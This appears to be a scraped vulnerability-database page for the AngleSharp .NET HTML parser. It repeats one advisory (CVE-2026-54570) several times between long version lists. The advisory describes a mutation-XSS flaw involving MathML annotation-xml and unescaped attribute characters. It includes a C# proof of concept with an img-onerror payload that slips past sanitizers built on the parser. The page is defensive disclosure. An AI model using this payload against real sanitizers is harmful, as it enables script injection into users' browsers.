            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Jun 05, 2026

1.4.1-beta.523 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Apr 20, 2026

1.4.1-beta.518 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Apr 02, 2026

1.4.1-beta.509 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

Output:

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)
Serialized output:
<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

The title tag may be swapped out for style and other RCDATA elements.

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.12.1


          0.13.0


          0.13.0-alpha-733


          0.13.0-alpha-734


          0.13.0-alpha-735


          0.13.0-alpha-737


          0.13.0-alpha-739


          0.13.0-alpha-742

+ 227 more


            0.13.0-alpha-743


            0.13.0-alpha-744


            0.13.0-alpha-745


            0.13.0-alpha-748


            0.13.0-alpha-754


            0.13.0-alpha-756


            0.13.0-alpha-758


            0.13.0-alpha-760


            0.13.0-alpha-763


            0.13.0-alpha-764


            0.13.0-alpha-766


            0.13.0-alpha-768


            0.13.0-alpha-771


            0.13.0-alpha-775


            0.13.0-alpha-782


            0.14.0


            0.14.0-alpha-783


            0.14.0-alpha-784


            0.14.0-alpha-787


            0.14.0-alpha-788


            0.14.0-alpha-789


            0.14.0-alpha-790


            0.14.0-alpha-793


            0.14.0-alpha-794


            0.14.0-alpha-796


            0.14.0-alpha-798


            0.14.0-alpha-801


            0.14.0-alpha-802


            0.14.0-alpha-803


            0.14.0-alpha-805


            0.14.0-alpha-809


            0.14.0-alpha-811


            0.14.0-alpha-813


            0.14.0-alpha-817


            0.14.0-alpha-818


            0.15.0


            0.15.0-alpha-14


            0.16.0


            0.16.0-alpha-72


            0.16.0-alpha-75


            0.16.0-alpha-76


            0.16.0-alpha-77


            0.16.0-alpha-78


            0.16.0-alpha-79


            0.16.0-alpha-80


            0.16.0-alpha-84


            0.16.0-alpha-85


            0.16.0-alpha-86


            0.16.1


            0.16.1-alpha-104


            0.16.1-alpha-106


            0.16.1-alpha-108


            0.16.1-alpha-110


            0.16.1-alpha-112


            0.16.1-alpha-114


            0.16.1-alpha-120


            0.16.1-alpha-125


            0.16.1-alpha-127


            0.16.1-alpha-133


            0.16.1-alpha-144


            0.16.1-alpha-145


            0.16.1-alpha-148


            0.16.1-alpha-152


            0.16.1-alpha-153


            0.16.1-alpha-155


            0.16.1-alpha-167


            0.16.1-alpha-168


            0.16.1-alpha-91


            0.16.1-alpha-96


            0.16.1-alpha-99


            0.17.0


            0.17.0-alpha-169


            0.17.0-alpha-170


            0.17.0-alpha-171


            0.17.0-alpha-172


            0.17.0-alpha-173


            0.17.0-alpha-174


            0.17.0-alpha-177


            0.17.1


            0.17.1-alpha-178


            0.17.1-alpha-179


            0.2.0


            0.2.1


            0.2.2


            0.2.3


            0.2.4


            0.2.5


            0.2.6


            0.2.7


            0.2.8


            0.2.9


            0.3.0


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.3.5


            0.3.6


            0.3.7


            0.4.0


            0.5.0


            0.5.1


            0.6.0


            0.6.1


            0.7.0


            0.8.0


            0.8.1


            0.8.2


            0.8.3


            0.8.4


            0.8.4.1


            0.8.5


            0.8.6


            0.8.7


            0.8.7.1


            0.8.8


            0.8.9


            0.9.0


            0.9.1


            0.9.10


            0.9.11


            0.9.2


            0.9.3


            0.9.4


            0.9.5


            0.9.6


            0.9.7


            0.9.8


            0.9.8.1


            0.9.9


            0.9.9.1


            0.9.9.2


            1.0.0


            1.0.0-alpha-1


            1.0.0-alpha-10


            1.0.0-alpha-12


            1.0.0-alpha-17


            1.0.0-alpha-20


            1.0.0-alpha-21


            1.0.0-alpha-229


            1.0.0-alpha-231


            1.0.0-alpha-25


            1.0.0-alpha-27


            1.0.0-alpha-31


            1.0.0-alpha-33


            1.0.0-alpha-36


            1.0.0-alpha-38


            1.0.0-alpha-4


            1.0.0-alpha-41


            1.0.0-alpha-47


            1.0.0-alpha-49


            1.0.0-alpha-59


            1.0.0-alpha-63


            1.0.0-alpha-64


            1.0.0-alpha-65


            1.0.0-alpha-68


            1.0.0-alpha-7


            1.0.0-alpha-70


            1.0.0-alpha-71


            1.0.0-alpha-819


            1.0.0-alpha-822


            1.0.0-alpha-825


            1.0.0-alpha-827


            1.0.0-alpha-842


            1.0.0-alpha-844


            1.0.0-ci-228


            1.0.1


            1.0.1-alpha-235


            1.0.1-alpha-241


            1.0.1-alpha-242


            1.0.1-alpha-243


            1.0.1-alpha-248


            1.0.2


            1.0.2-alpha-249


            1.0.2-alpha-250


            1.0.2-alpha-251


            1.0.2-alpha-255


            1.0.2-alpha-257


            1.0.2-alpha-258


            1.0.2-alpha-261


            1.0.2-alpha-273


            1.0.2-alpha-274


            1.0.2-alpha-275


            1.0.2-alpha-276


            1.0.2-alpha-277


            1.0.2-alpha-278


            1.0.2-alpha-281


            1.0.2-alpha-282


            1.0.2-alpha-283


            1.0.2-alpha-284


            1.0.3


            1.0.3-alpha-287


            1.0.4


            1.0.4-alpha-289


            1.0.4-alpha-290


            1.0.4-alpha-298


            1.0.4-alpha-300


            1.0.4-alpha-301


            1.0.4-alpha-307


            1.0.4-alpha-311


            1.0.4-alpha-314


            1.0.4-alpha-316


            1.0.5


            1.0.5-alpha-317


            1.0.6


            1.0.6-alpha-321


            1.0.6-alpha-325


            1.0.6-alpha-328


            1.0.6-alpha-330


            1.0.6-alpha-331


            1.0.6-alpha-339


            1.0.6-alpha-341


            1.0.7


            1.0.7-alpha-342


            1.1.0


            1.1.0-alpha-374


            1.1.0-alpha-375


            1.1.0-alpha-376


            1.1.0-alpha-377


            1.1.0-alpha-378


            1.1.0-alpha-379


            1.1.1


            1.1.2


            1.2.0


            1.3.0


            1.3.1


            1.4.0

Fixed in


          1.5.0

References

Updated Jul 17, 2026 · Source: OSV.dev

Mar 30, 2026

1.4.1-beta.508 pre

1 CVE

CVE-2026-54570 GHSA-pgww-w46g-26qg Jul 17, 2026

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

6.9 / 10

Medium

Network High None Required Changed Low High None

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. See Escape "<" and ">" in attributes when serializing HTML #6235

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

// Current — HtmlTip is never set
: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

// Escapes & " and \u00A0, but NOT < or >
case Symbols.Ampersand:    stringBuilder.Append("&amp;");  break;
case Symbols.NoBreakSpace: stringBuilder.Append("&nbsp;"); break;
case Symbols.DoubleQuote:  stringBuilder.Append("&quot;"); break;
default:                   stringBuilder.Append(value[i]); break; // < and > pass through raw

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

using System;
using System.Linq;
using AngleSharp.Html.Parser;
			
public class Program
{
    static readonly string Payload1 =
        "<math>" +
        "<annotation-xml encoding=\"text/html\">" +
        "<title><a encoding=\"</title><img src=x onerror=alert()>\">" +
        "</annotation-xml></math>";

    public static void Main()
    {
        var parser = new HtmlParser();

        Check(parser, Payload1, "IMG",
            "AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",
            "AngleSharp found <img> – SAFE");
    }

    static void Check(HtmlParser parser, string html, string tag,
                      string failMsg, string passMsg)
    {
        var doc     = parser.ParseDocument(html);
        var tags    = doc.All.Select(e => e.TagName).ToHashSet();
        var found   = tags.Contains(tag);

        Console.WriteLine(found ? passMsg : failMsg);
        Console.WriteLine("Serialized output:");
        Console.WriteLine(doc.DocumentElement.OuterHtml);
    }
}

